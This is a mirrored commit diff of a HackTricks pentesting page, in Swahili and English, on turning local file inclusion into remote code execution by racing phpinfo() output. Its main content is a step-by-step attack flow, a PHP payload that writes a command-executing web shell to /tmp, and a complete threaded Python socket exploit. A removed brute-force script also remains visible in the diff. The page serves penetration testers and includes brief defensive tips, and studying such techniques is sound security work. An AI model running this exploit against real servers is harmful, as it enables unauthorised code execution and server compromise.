mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
parent
f4e32fe5ba
commit
ca3cb9c0e9
@ -1,55 +1,160 @@
|
|||||||
|
# LFI to RCE via PHPInfo
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Ili kutumia udhaifu huu unahitaji: **Udhaifu wa LFI, ukurasa ambapo phpinfo() inaonyeshwa, "file_uploads = on" na seva inapaswa kuwa na uwezo wa kuandika katika saraka ya "/tmp".**
|
Ili exploit mbinu hii unahitaji yafuatayo yote:
|
||||||
|
- Ukurasa unaofikika unaochapisha matokeo ya phpinfo().
|
||||||
|
- Local File Inclusion (LFI) primitive unayodhibiti (mfano, include/require kwenye input ya mtumiaji).
|
||||||
|
- Uwekaji faili wa PHP umewezeshwa (file_uploads = On). Kila script ya PHP itakubali RFC1867 multipart uploads na kuunda faili ya muda kwa kila sehemu iliyopakiwa.
|
||||||
|
- PHP worker lazima aweze kuandika kwenye upload_tmp_dir iliyosanifiwa (au default system temp directory) na LFI yako lazima iweze kujumuisha njia hiyo.
|
||||||
|
|
||||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
Classic write-up and original PoC:
|
||||||
|
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||||||
|
- Original PoC script name: phpinfolfi.py (angalia whitepaper na mirrors)
|
||||||
|
|
||||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||||||
|
|
||||||
Unahitaji kurekebisha exploit (badilisha **=>** kwa **=>**). Ili kufanya hivyo unaweza kufanya:
|
Vidokezo kuhusu PoC ya asili
|
||||||
|
- Matokeo ya phpinfo() yame-HTML-encoded, hivyo mshale "=>" mara nyingi huonekana kama "=>". Ikiwa utatumia tena skripti za zamani, hakikisha zinatafuta encodings zote mbili wakati zinapotafsiri thamani ya _FILES[tmp_name].
|
||||||
|
- Lazima ubadilishe payload (PHP code yako), REQ1 (the request to the phpinfo() endpoint including padding), na LFIREQ (the request to your LFI sink). Malengo mengine hayahitaji null-byte (%00) terminator na toleo za kisasa za PHP hazitaheshimu. Rekebisha LFIREQ ipasavyo kwa sink iliyovulnerable.
|
||||||
|
|
||||||
|
Mfano sed (tu ikiwa kwa kweli unatumia PoC ya zamani ya Python2) ili kulinganisha mshale ulioboreshwa kwa HTML:
|
||||||
```
|
```
|
||||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||||||
```
|
```
|
||||||
Unapaswa kubadilisha pia **payload** mwanzoni mwa exploit (kwa mfano, kwa php-rev-shell), **REQ1** (hii inapaswa kuelekeza kwenye ukurasa wa phpinfo na inapaswa kuwa na padding iliyojumuishwa, yaani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), na **LFIREQ** (hii inapaswa kuelekeza kwenye udhaifu wa LFI, yaani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Angalia asilimia mbili "%" unapofanya exploit ya char ya null)
|
|
||||||
|
|
||||||
{{#file}}
|
{{#file}}
|
||||||
LFI-With-PHPInfo-Assistance.pdf
|
LFI-With-PHPInfo-Assistance.pdf
|
||||||
{{#endfile}}
|
{{#endfile}}
|
||||||
|
|
||||||
### Nadharia
|
## Nadharia
|
||||||
|
|
||||||
Ikiwa upakuaji unaruhusiwa katika PHP na unajaribu kupakia faili, faili hizi huhifadhiwa katika directory ya muda hadi seva ikamilishe usindikaji wa ombi, kisha faili hizi za muda zinafuta.
|
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
|
||||||
|
- Njia ni kujua jina la muda na kulijumuisha kupitia LFI yako kabla PHP haijaifuta. phpinfo() prints $_FILES, including tmp_name.
|
||||||
|
- Kwa kuongeza ukubwa wa request headers/parameters (padding) unaweza kusababisha vipande vya mwanzo vya output ya phpinfo() kuitolewa kwa client kabla request haijamalizika, hivyo unaweza kusoma tmp_name wakati file ya muda bado ipo kisha mara moja kulipiga LFI kwa path hiyo.
|
||||||
|
|
||||||
Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukisia jina la faili ya muda iliyoundwa na kufanya exploit ya RCE kwa kufikia faili ya muda kabla haijafutwa.
|
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
|
||||||
|
|
||||||
Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php**
|
## Mtiririko wa shambulio (hatua kwa hatua)
|
||||||
|
|
||||||
Katika **linux** jina la faili lilikuwa **random** na liliko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
|
1) Andaa payload ndogo ya PHP ambayo itaweka shell haraka ili kuepuka kupoteza mbio (kuandika a file kwa ujumla ni haraka kuliko kusubiri reverse shell):
|
||||||
|
|
||||||
**phpinfo()**
|
|
||||||
|
|
||||||
**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irejeshwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI.
|
|
||||||
|
|
||||||
**Python script ya kujaribu kubruuteforce jina (ikiwa urefu = 6)**
|
|
||||||
```python
|
|
||||||
import itertools
|
|
||||||
import requests
|
|
||||||
import sys
|
|
||||||
|
|
||||||
print('[+] Trying to win the race')
|
|
||||||
f = {'file': open('shell.php', 'rb')}
|
|
||||||
for _ in range(4096 * 4096):
|
|
||||||
requests.post('http://target.com/index.php?c=index.php', f)
|
|
||||||
|
|
||||||
|
|
||||||
print('[+] Bruteforcing the inclusion')
|
|
||||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|
||||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
|
||||||
r = requests.get(url)
|
|
||||||
if 'load average' in r.text: # <?php echo system('uptime');
|
|
||||||
print('[+] We have got a shell: ' + url)
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
print('[x] Something went wrong, please try again')
|
|
||||||
```
|
```
|
||||||
|
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||||||
|
```
|
||||||
|
2) Tuma POST kubwa ya multipart moja kwa moja kwa ukurasa wa phpinfo() ili iunde faili ya temp inayojumuisha payload yako. Ongeza padding kwa headers/cookies/params mbalimbali takriban 5–10KB ili kuhamasisha output mapema. Hakikisha jina la form field linalingana na utakavyolitumia kufasiri $_FILES.
|
||||||
|
|
||||||
|
3) Wakati response ya phpinfo() bado inatiririka (streaming), fasiri sehemu ya body ili kutoa $_FILES['<field>']['tmp_name'] (HTML-encoded). Mara tu unapopata path kamili ya absolute (mfano, /tmp/php3Fz9aB), tuma LFI yako ili kuingiza path hiyo. Ikiwa include() itatekeleza faili ya temp kabla ya kufutwa, payload yako itaendeshwa na itaunda /tmp/.p.php.
|
||||||
|
|
||||||
|
4) Tumia faili iliyoundwa: GET /vuln.php?include=/tmp/.p.php&x=id (au mahali popote LFI yako inakuwezesha kuingiza) kutekeleza amri kwa uhakika.
|
||||||
|
|
||||||
|
> Vidokezo
|
||||||
|
> - Tumia multiple concurrent workers ili kuongeza nafasi zako za kushinda race.
|
||||||
|
> - Mahali pa kuweka padding zinazosaidia kawaida: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Rekebisha kwa kulingana na lengo.
|
||||||
|
> - Ikiwa vulnerable sink inaongeza extension (mfano, .php), hauitaji null byte; include() itatekeleza PHP bila kujali extension ya faili ya temp.
|
||||||
|
|
||||||
|
## Minimal Python 3 PoC (socket-based)
|
||||||
|
|
||||||
|
Snippet hapa chini inazingatia sehemu muhimu na ni rahisi kuibadilisha kuliko script ya legacy ya Python2. Badilisha HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import re, html, socket, threading
|
||||||
|
|
||||||
|
HOST = 'target.local'
|
||||||
|
PORT = 80
|
||||||
|
PHPSCRIPT = '/phpinfo.php'
|
||||||
|
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||||||
|
THREADS = 10
|
||||||
|
|
||||||
|
PAYLOAD = (
|
||||||
|
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||||||
|
)
|
||||||
|
BOUND = '---------------------------7dbff1ded0714'
|
||||||
|
PADDING = 'A' * 6000
|
||||||
|
REQ1_DATA = (f"{BOUND}\r\n"
|
||||||
|
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||||||
|
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||||||
|
|
||||||
|
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||||||
|
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||||||
|
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||||||
|
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||||||
|
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||||||
|
|
||||||
|
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||||||
|
|
||||||
|
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||||||
|
|
||||||
|
|
||||||
|
def race_once():
|
||||||
|
s1 = socket.socket()
|
||||||
|
s2 = socket.socket()
|
||||||
|
s1.connect((HOST, PORT))
|
||||||
|
s2.connect((HOST, PORT))
|
||||||
|
s1.sendall(REQ1.encode())
|
||||||
|
buf = b''
|
||||||
|
tmp = None
|
||||||
|
while True:
|
||||||
|
chunk = s1.recv(4096)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
buf += chunk
|
||||||
|
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||||||
|
if m:
|
||||||
|
tmp = m.group(1)
|
||||||
|
break
|
||||||
|
ok = False
|
||||||
|
if tmp:
|
||||||
|
req = (LFI % tmp).encode() % HOST.encode()
|
||||||
|
s2.sendall(req)
|
||||||
|
r = s2.recv(4096)
|
||||||
|
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||||||
|
s1.close(); s2.close()
|
||||||
|
return ok
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
hit = False
|
||||||
|
def worker():
|
||||||
|
nonlocal_hit = False
|
||||||
|
while not hit and not nonlocal_hit:
|
||||||
|
nonlocal_hit = race_once()
|
||||||
|
if nonlocal_hit:
|
||||||
|
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||||||
|
exit(0)
|
||||||
|
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||||||
|
[t.start() for t in ts]
|
||||||
|
[t.join() for t in ts]
|
||||||
|
```
|
||||||
|
## Utatuzi wa matatizo
|
||||||
|
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
|
||||||
|
- Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly.
|
||||||
|
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
|
||||||
|
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
|
||||||
|
|
||||||
|
## Vidokezo vya ulinzi
|
||||||
|
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
|
||||||
|
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
|
||||||
|
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
|
||||||
|
|
||||||
|
## Mbinu zinazohusiana za HackTricks
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
lfi2rce-via-temp-file-uploads.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
via-php_session_upload_progress.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
lfi2rce-via-nginx-temp-files.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
lfi2rce-via-eternal-waiting.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Marejeo
|
||||||
|
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||||||
|
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user